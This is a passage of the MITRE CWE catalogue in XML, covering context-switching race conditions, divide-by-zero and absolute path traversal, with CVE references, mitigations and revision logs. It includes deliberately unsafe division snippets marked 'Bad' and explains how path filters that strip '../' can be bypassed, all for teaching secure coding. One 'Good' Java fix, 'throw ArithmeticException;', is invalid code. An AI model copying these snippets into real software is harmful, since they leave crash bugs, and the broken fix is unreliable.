               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Time-of-check Time-of-use Race Condition</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="368" Name="Context Switching Race Condition" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.</Description>
         <Extended_Description>This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="364" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>This weakness can be primary to almost anything, depending on the context of the race condition.</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1837</Reference>
               <Description>Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1837</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2260</Reference>
               <Description>Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts **</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2260</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0191</Reference>
               <Description>XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2491</Reference>
               <Description>Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2491</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Context Switching Race Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
         </References>
         <Notes>
            <Note Type="Relationship">Can overlap signal handler race conditions.</Note>
            <Note Type="Research Gap">Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationship_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="369" Name="Divide By Zero" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product divides a value by zero.</Description>
         <Extended_Description>This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>A Divide by Zero results in a crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public int computeAverageResponseTime (int totalTime, int numRequests) {<xhtml:div style="margin-left:1em;">return totalTime / numRequests;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {<xhtml:div style="margin-left:1em;">if (numRequests == 0) {<xhtml:div style="margin-left:1em;">System.out.println("Division by zero attempted!");<xhtml:br/>throw ArithmeticException;</xhtml:div>}<xhtml:br/>return totalTime / numRequests;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>double divide(double x, double y){<xhtml:div style="margin-left:1em;">return x/y;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>const int DivideByZero = 10;<xhtml:br/>double divide(double x, double y){<xhtml:div style="margin-left:1em;">if ( 0 == y ){<xhtml:div style="margin-left:1em;">throw DivideByZero;</xhtml:div>}<xhtml:br/>return x/y;</xhtml:div>}<xhtml:br/>...<xhtml:br/>try{<xhtml:div style="margin-left:1em;">divide(10, 0);</xhtml:div>}<xhtml:br/>catch( int i ){<xhtml:div style="margin-left:1em;">if(i==DivideByZero) {<xhtml:div style="margin-left:1em;">cerr&lt;&lt;"Divide by zero error";</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <References>
                  <Reference External_Reference_ID="REF-371"/>
               </References>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>int Division(int x, int y){<xhtml:div style="margin-left:1em;">return (x / y);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>int SafeDivision(int x, int y){<xhtml:div style="margin-left:1em;">try{<xhtml:div style="margin-left:1em;">return (x / y);</xhtml:div>}<xhtml:br/>catch (System.DivideByZeroException dbz){<xhtml:div style="margin-left:1em;">System.Console.WriteLine("Division by zero attempted!");<xhtml:br/>return 0;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <References>
                  <Reference External_Reference_ID="REF-372"/>
               </References>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-3268</Reference>
               <Description>Invalid size value leads to divide by zero.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2723</Reference>
               <Description>"Empty" content triggers divide by zero.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2723</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2237</Reference>
               <Description>Height value of 0 triggers divide by zero.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2237</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FLP03-C</Entry_ID>
               <Entry_Name>Detect and handle floating point errors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT33-C</Entry_ID>
               <Entry_Name>Ensure that division and remainder operations do not result in divide-by-zero errors</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>NUM02-J</Entry_ID>
               <Entry_Name>Ensure that division and modulo operations do not result in divide-by-zero errors</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-371"/>
            <Reference External_Reference_ID="REF-372"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-04-11</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="37" Name="Path Traversal: '/absolute/pathname/here'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="36" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="160" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1345</Reference>
               <Description>Multiple FTP clients write arbitrary files via absolute paths in server responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1345</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1269</Reference>
               <Description>ZIP file extractor allows full path</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1269</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1818</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1818</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1913</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1913</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2147</Reference>
               <Description>Path traversal using absolute pathname</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2147</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0614</Reference>
               <Description>Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0614</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>/absolute/pathname/here</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
